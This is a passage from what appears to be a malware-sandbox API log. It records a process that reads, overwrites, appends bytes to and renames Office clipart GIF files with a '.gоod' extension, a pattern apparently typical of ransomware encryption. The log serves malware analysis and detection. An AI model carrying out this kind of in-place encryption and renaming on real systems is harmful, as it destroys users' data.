CloseHandle (hObject=0x630) returned 1 [0138.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0138.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0138.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.260] GetFileType (hFile=0x650) returned 0x1 [0138.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0138.260] GetFileType (hFile=0x650) returned 0x1 [0138.260] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x2017 [0138.260] WriteFile (in: hFile=0x650, lpBuffer=0x3b24628*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3b24628*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0138.261] CloseHandle (hObject=0x650) returned 1 [0138.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0138.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0138.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.261] GetFileType (hFile=0x650) returned 0x1 [0138.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0138.261] GetFileType (hFile=0x650) returned 0x1 [0138.261] ReadFile (in: hFile=0x650, lpBuffer=0x3b26900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3b26900*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0138.293] CloseHandle (hObject=0x650) returned 1 [0138.293] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0138.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0138.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.294] GetFileType (hFile=0x650) returned 0x1 [0138.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0138.294] GetFileType (hFile=0x650) returned 0x1 [0138.294] WriteFile (in: hFile=0x650, lpBuffer=0x3b25640*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3b25640*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0138.294] CloseHandle (hObject=0x650) returned 1 [0138.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF", lpFilePart=0x0) returned 0x51 [0138.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0138.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0138.294] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4ea52c1e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2027)) returned 1 [0138.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0138.294] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00531l.gif.gоod")) returned 1 [0138.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0138.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0138.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), fInfoLevelId=0x0, lpFileInformation=0x3ba2dc0 | out: lpFileInformation=0x3ba2dc0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ee)) returned 1 [0138.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0138.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0138.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0138.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.296] GetFileType (hFile=0x650) returned 0x1 [0138.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0138.296] GetFileType (hFile=0x650) returned 0x1 [0138.296] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0138.296] ReadFile (in: hFile=0x650, lpBuffer=0x3ba3208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3ba3208*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0138.391] CloseHandle (hObject=0x650) returned 1 [0139.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0139.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0139.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.685] GetFileType (hFile=0x61c) returned 0x1 [0139.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0139.685] GetFileType (hFile=0x61c) returned 0x1 [0139.687] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x20ee [0139.687] WriteFile (in: hFile=0x61c, lpBuffer=0x3953ef0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3953ef0*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0139.698] CloseHandle (hObject=0x61c) returned 1 [0139.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0139.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0139.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.698] GetFileType (hFile=0x61c) returned 0x1 [0139.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0139.698] GetFileType (hFile=0x61c) returned 0x1 [0139.698] ReadFile (in: hFile=0x61c, lpBuffer=0x3956f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3956f78*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0139.771] CloseHandle (hObject=0x61c) returned 1 [0139.771] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0139.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0139.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.772] GetFileType (hFile=0x61c) returned 0x1 [0139.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0139.772] GetFileType (hFile=0x61c) returned 0x1 [0139.772] WriteFile (in: hFile=0x61c, lpBuffer=0x348bbe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x348bbe0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0139.772] CloseHandle (hObject=0x61c) returned 1 [0139.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF", lpFilePart=0x0) returned 0x51 [0139.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0139.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0139.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4f86a618, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20fe)) returned 1 [0139.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0139.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00673l.gif.gоod")) returned 1 [0139.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0139.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0139.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), fInfoLevelId=0x0, lpFileInformation=0x38d1d88 | out: lpFileInformation=0x38d1d88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2026)) returned 1 [0139.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0139.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0139.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0139.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.774] GetFileType (hFile=0x61c) returned 0x1 [0139.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0139.774] GetFileType (hFile=0x61c) returned 0x1 [0139.774] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0139.775] ReadFile (in: hFile=0x61c, lpBuffer=0x38d21d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x38d21d0*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0139.776] CloseHandle (hObject=0x61c) returned 1 [0139.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0139.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0139.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0139.777] GetFileType (hFile=0x61c) returned 0x1 [0139.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0139.777] GetFileType (hFile=0x61c) returned 0x1 [0139.777] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x2026 [0139.777] WriteFile (in: hFile=0x61c, lpBuffer=0x38d3480*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x38d3480*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0140.079] CloseHandle (hObject=0x61c) returned 1 [0140.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0140.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0140.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0140.191] GetFileType (hFile=0x61c) returned 0x1 [0140.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0140.191] GetFileType (hFile=0x61c) returned 0x1 [0140.668] ReadFile (in: hFile=0x61c, lpBuffer=0x3914898, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3914898*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0140.696] CloseHandle (hObject=0x61c) returned 1 [0140.696] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0140.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0140.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0140.697] GetFileType (hFile=0x61c) returned 0x1 [0140.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0140.697] GetFileType (hFile=0x61c) returned 0x1 [0140.697] WriteFile (in: hFile=0x61c, lpBuffer=0x357c560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x357c560*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0140.697] CloseHandle (hObject=0x61c) returned 1 [0140.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF", lpFilePart=0x0) returned 0x51 [0140.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.gоod", lpFilePart=0x0) returned 0x56 [0140.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0140.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x50143273, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2036)) returned 1 [0140.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0140.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif.gоod")) returned 1 [0140.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0140.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0140.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), fInfoLevelId=0x0, lpFileInformation=0x3992988 | out: lpFileInformation=0x3992988*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2313)) returned 1 [0140.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0140.699] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF", lpFilePart=0x0) returned 0x51 [0140.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0140.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0140.699] GetFileType (hFile=0x61c) returned 0x1 [0140.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0140.699] GetFileType (hFile=0x61c) returned 0x1 [0140.699] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0140.699] ReadFile (in: hFile=0x61c, lpBuffer=0x3992dd0, 